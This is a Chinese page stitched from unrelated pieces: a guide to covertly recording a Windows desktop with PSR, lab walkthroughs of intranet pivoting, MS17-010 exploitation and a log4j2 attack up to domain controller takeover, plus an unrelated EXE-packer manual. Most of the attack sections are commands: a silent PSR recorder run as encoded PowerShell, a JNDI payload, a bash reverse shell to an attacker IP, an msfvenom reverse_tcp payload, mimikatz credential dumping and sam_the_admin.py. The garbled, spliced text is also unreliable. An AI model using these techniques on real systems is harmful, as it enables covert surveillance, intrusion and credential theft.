如何巧妙利用PSR监控Windows桌面
0x00前言在渗透测试的过程中,如果需要获取主机的信息,相比于键盘记录,记录系统屏幕的操作往往更加直接有效。也许每个人都有自己独特的实现方式,但是如果能够利用Windows系统自带的程序实现,个人认为绝对是更优先考虑的方案。下面就介绍一下如何利用Windows系统自带的功能实现监控屏幕操作。0x01简介PSR(ProblemStepsRecorder),直译为问题步骤记录器,在Windows早期的系统中,采用WER(WindowsErrorReporting)来收集系统的错误报告,但这些报告往往包含的信息太少以致于无法解决实际问题。为此,微软从Windows7系统开始,增加了PSR来解决这个问题,PSR能够记录用户在遇到崩溃时执行的所有操作,以便测试人员和开发人员能够重现环境对其分析和调试。当PSR运行时,将会自动记录屏幕的操作,每次操作都会自动保存成一张图片,最终生成一份zip格式的报告。注:百度百科对psr的名称描述有误,准确的应为ProblemStepsRecorder(该问题已提交)如图链接为:使用 *** 1、启动psr.exe,点击开始录制可使用快捷键win+R直接输入psr来启动下图为psr的操作面板,点击开始记录即可记录当前的屏幕操作点击后会提示权限的问题,如果需要记录管理员权限的程序,那么需要以管理员权限来运行psr,如图2、进行任意操作当运行psr开始录制后,鼠标点击时会增加特效如图3、停止记录,保存报告如图4、查看报告报告会对每次操作截图,并记录鼠标的操作比如鼠标的单击操作,从截图注释可以看到当前的鼠标做了哪些操作而且,在报告后半部分会详细记录相关细节,里面的内容也很是有趣:0x03进阶 *** psr在记录屏幕的操作中会启动UI界面,并且对鼠标点击操作增加特效,这显然无法满足渗透测试的要求。但好在psr提供了命令行参数用作后台记录命令行参数如下:#!bashpsr.exe[/start|/stop][/output][/sc(0|1)][/maxsc][/sketch(0|1)][/slides(0|1)][/gui(0|1)][/arcetl(0|1)][/arcxml(0|1)][/arcmht(0|1)][/stopevent][/maxlogsize][/recordpid]/startStartRecording.(OutputpathflagSHOULDbespecified)/stopStopRecording./scCapturescreenshotsforrecordedsteps./maxscMaximumnumberofrecentscreencaptures./maxlogsizeMaximumlogfilesize(inMB)beforewrappingoccurs./guiDisplaycontrolGUI./arcetlIncluderawETWfileinarchiveoutput./arcxmlIncludeMHTfileinarchiveoutput./recordpidRecordallactionsassociatedwithgivenPID./sketchSketchUIifnoscreenshotwassaved./slidesCreateslideshowHTMLpages./outputStoreoutputofrecordsessioningivenpath./stopeventEventtosignalafteroutputfilesaregenerated.结合实际,可使用以下命令:psr.exe/start/gui0/outputC:\test\capture.zip后台启动psr并开始录制,文件保存为C:\test\capture.zippsr.exe/stop结束录制并退出psr,自动保存报告文件0x04实际测试测试环境:Server:OS:KalilinuxIP:192.168.174.133Client:OS:Win7x86IP:192.168.174.128Kali已获得meterpreter权限如图测试功能:自动启动录制录制指定时间后自动退出自动保存报告文件可使用Powershell对上述功能做简单实现:1、启动自动录制,设置为无界面模式,并指定输出路径:#!bashpsr.exe/start/gui0/outputC:\test\capture.zip;2、等待10s,即录制时间为10s:#!bashStart-Sleep-s10;3、结束录制,自动退出:#!bashpsr.exe/stop;可将以上代码保存为C:\test\1.txt,然后对其作base64加密在Powershell环境下执行如下代码来对功能代码进行base64加密:#!powershell$string=Get-Content"C:\test\1.txt"$bytes=[System.Text.Encoding]::Unicode.GetBytes($string)$encoded=[System.Convert]::ToBase64String($bytes)$encoded如图,从输出得到加密的Powershell命令为:#!bashcABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA然后就可以在meterpreter的shell下直接执行Powershell命令:#!bashpowershell-epbypass-enccABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA代码执行后,等待10s产成报告文件capture.zip,测试成功0x05防御可采用以下两种 *** 关闭psr:1、使用组策略中文系统:gpedit.msc-管理模板-Windows组件-应用程序兼容性启用关闭问题步骤记录器如图英文系统:gpedit.msc-ComputerConfiguration-AdministrativeTemplates-WindowsComponents-ApplicationCompatibility启用TurnoffProblemStepsRecorder如图2、修改注册表#!bash[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]新建"DisableUAR"=dword:00000001如图注:dword=1对应组策略中的已启用dword=0对应组策略中的已禁用删除"DisableUAR"对应组策略中的未配置0x06小结利用PSR监控Windows桌面,不仅仅能够捕获用户桌面的操作,而且在报告中会包含有用的细节信息,相信你在渗透测试的过程中,一定会用上它。
内网渗透--对不出网目标的打法
配置 ***
在VM虚拟机中按照下边的 *** 拓扑进行配置 *** 。 *** 拓扑图如下:
win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。
外网打点
在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问 可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种 *** :
通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的 *** 拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。
通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。
获得webshell的信息收集
通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
我是谁?
蚁剑已经给出基础信息
我在哪?
使用ipconfig /all 看一下 *** 信息
目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。
有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软,还有域环境那么让它直接cs上线。
内网渗透
cs上线
内网信息收集
信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集 *** 。
使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。
因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。
内网横向(通过登录凭证)
这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。
不出网机器上线一般有以下几种方式:
使用 *** b beacon
配置listener通过HTTP *** 上线
使用pystinger搭建socks4 ***
这几种方式之前有师傅也在先知写过 《不出网主机上线 *** 》 。此处我采用的 *** B beacon这个 *** 。
*** B Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在 *** B协议中,所以 *** B beacon相对隐蔽。 *** B beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon,抓取密码后进行 *** b喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
使用条件
具有 *** B Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用 *** :
1.建立 *** b的listener
2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
3.连接成功,可以看到 *** b beacon上线的主机右侧有∞∞标识
使用这种 *** 上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。
内网横向(通过ms-17010)
在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法:
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网 *** 不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。
msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的 *** 就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可
小贴士:
漏洞检测 *** :
use auxiliary/scanner/ *** b/ *** b_ms17_010
之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。
漏洞利用常使用的是:
auxiliary/admin/ *** b/ms17_010_command
exploit/windows/ *** b/ms17_010_eternalblue
exploit/windows/ *** b/ms17_010_psexec
这里的之一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候,不妨使用auxiliary/admin/ *** b/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/ *** b/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun
如果命令执行成功的话就可以优先考虑
auxiliary/admin/ *** b/ms17_010_commandexploit/windows/ *** b/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/ *** b/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。
总结
这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个 *** b beacon然后使用psexec对内网两台不出网的机器进行横向。
exe授权封包远程改激活码
1. 首先打开软件,待软件初始化完成,点击选择EXE文件按钮,选择你想要打包的EXE文件(如果你没有EXE文件,可以从这里下载一个简单的EXE程序用于测试):

2.点击选择图标文件,选择一个图片文件,作为打包后的图标 (可选步骤,如果不需要设置图标则可以跳过)

3.设置打包生成的EXE的基本信息,如下是一个示例:

提示: EXE软件ID用于区分不同的软件,在计算激活码时需要填写,相同的软件ID的软件共用同一个激活码
4. 选择打包模式:
选择绿色版EXE:加密生成的EXE项目为独立的一个EXE文件,双击可以直接运行
选择安装版EXE:加密生成的EXE项目需要安装后才可以使用,安装后会在桌面生成一个图标
安装包分包: 当打包的EXE程序大于2G的时候,只能使用安装包形式,并且需要勾选安装包分包
5.选择加密模式:
一机一码:一机一码加密模式处理后的EXE文件,在不同电脑上需要不同的激活码才可以激活打包,激活码绑定机器硬件
静态密码: 静态密码模式处理后的EXE文件,打开的时候需要输入静态密码才可以使用
不加密仅打包: 不加密仅打包模式处理后的EXE文件,可以直接运行,不需要输入激活码,静态密码
6.如果选择了静态密码打包模式,则需要输入静态密码:

7.点击开始打包,即可生成加密的EXE文件

使用 *** : 激活步骤 - 一机一码激活
1. 用户运行一机一码加密的EXE程序,会看到如下的提示信息:

2. 用户可以通过打包时激活说明留的信息,联系到作者,并把机器码提供给作者
3. 作者拿到机器码以后,在计算激活页面,填写用户的机器码,并填写打包时候的软件ID, 同时可以设置使用次数限制,每次运行时间,软件过期时间等:

4. 作者点击计算激活码,即可生成激活码并复制到剪切板
5. 作者把激活码发给用户,用户在输入激活码的文本框中输入,点击确定即可

使用 *** : 激活步骤 - 静态密码激活
1. 用户拿到静态密码加密的EXE,会看到如下的提示信息:

2. 用户可以通过打包时激活说明留的信息,联系到作者
3. 作者把打包时候填写的静态密码1234告诉用户
4. 用户在打开密码输入框中输入静态密码1234,即可正常运行软件

如何使用metasploit进行内网渗透详细过程
在获得sql server的登陆权限后同样可以快速的获得meterpreter shell。
注意这里METHOD选项,三种 *** 都要使用XP_cmdshell,而之一种ps是使用powershell,第二种需要使用wscript.exe,第三种则要用到debug.com。 本地没有环境,就不截图演示了
others
不管是什么场景,只要能转换成文件上传和执行权限就可以得到shell。在获得一种权限时当然可以先google一番是否有可适用的脚本,如果没有再分析是否能转换为文件操作和执行权限。如果可以那就可以得到shell了。 比如:
mysql and sqlserver ..etc = file/webshell =shell
本地同样也测试了下tunna里自带的msf插件,测试了php版的。代码大致是这样的
记一次log4j2引发的渗透测试
记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。
首先对web进行端口扫描,发现38080端口和22端口
访问一下38080端口发现是一个error page
用Wappalyzer看一下是什么架构,但是好像没有检测出来
拿着报错去百度上发现应该是springboot
索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架
使用 payload=${jndi:ldap://p9j8l8.dnslog.cn} 验证一下有回显证明存在漏洞
尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址
pre class="c9ef-0a98-1aa0-d586 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105/pre
抓包修改 Content-Type: appllication/x-www-form-urlencoded ,并执行以下payload成功回显
pre class="0a98-1aa0-d586-7e59 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"payload=${jndi: ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho }/pre
执行 ls -al / 看一下也成功
nc开启监听端口
然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码
pre class="1aa0-d586-7e59-8ee9 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bash -i /dev/tcp/192.168.1.105/9999 01/pre
抓包添加 payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符} ,即可得到反弹shell
进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集
在根目录下找到了之一个flag,这里有一个 got this ,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接
使用xshell尝试连接
连接成功,拿到了宿主机的权限
ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡
这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机
pre class="d586-7e59-8ee9-ff25 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;" for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 i Find the target; fi; done/pre
ping一下是存活的
使用毒液把流量 *** 出来,首先开启监听
pre class="42fc-2b24-cfd4-c181 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"admin.exe -lport 7777/pre
然后上传agent_linux到靶机上
加权并执行
pre class="2b24-cfd4-c181-68c0 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777/pre
连接成功
这里本来准备用毒液的 *** 到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了
首先生成一个32位的elf马
pre class="cfd4-c181-68c0-a946 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf shell.elf/pre
然后加权并执行
pre class="c181-68c0-a946-e51c md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"chmod 777 shell.elf
./shell/pre
kali使用 exploit/multi/handler 进行监听
获取到宿主机的shell
然后添加10.0.1.0/24段的路由
pre class="68c0-a946-e51c-a868 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"bg
route add 10.0.1.0 255.255.255.0 1
route print/pre
然后配置 proxychain4.conf 文件并使用socks模块
pre class="a946-e51c-a868-1b19 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"search socks
use auxiliary/sevrer/socks_proxy
run/pre
我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描
pre class="e51c-a868-1b19-3493 md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains4 nmap -sT -Pn 10.0.1.7/pre
发现有445端口,那么对445端口进一步扫描
先确定一下系统版本,使用 auxiliary/scanner/ *** b/ *** b_version 模块,发现是win7 sp1
看能不能利用永恒之蓝,这里使用到 auxiliary/scanner/ *** b/ *** b_ms17_010 模块,发现可以利用永恒之蓝
使用 exploit/windows/ *** b/ms17_010_eternalbule 模块,因为是不出网环境,这里需要用到 bind_tcp 载荷
run之后拿到一个system权限的meterpreter
在 C:\Users\root\Desktop 下拿到第二个flag
然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡
ipconfig /all看到dns服务器为 redteam.lab 应该在域内
这里ping一下 redteam.lab 得到域控的ip为10.0.0.12
这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到 Administrator/Admin12345 ,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请 移步
pre class="a868-1b19-3493-e09c md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"privilege::debug
sekurlsa::logonpasswords/pre
这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显
本来准备一步一步的用原始的 *** 打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧
这里直接使用 sam_the_admin.py 进行攻击
pre class="1b19-3493-e09c-c9ef md-fences md-end-block ty-contain-cm modeLoaded" style="font-family: "Courier New", sans-serif; font-weight: 100; transition-duration: 0.2s; transition-property: background-color, border-color, border-radius, padding, margin, color, opacity; overflow: auto; margin: 10px auto; padding: 5px; background: rgb(245, 245, 245); border: 1px solid transparent; border-radius: 3px; color: rgb(0, 0, 0); font-size: 10px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell/pre
即可拿到DC的shell
在 C:\Users\Administrator\Desktop 下找到最后一个flag
0条大神的评论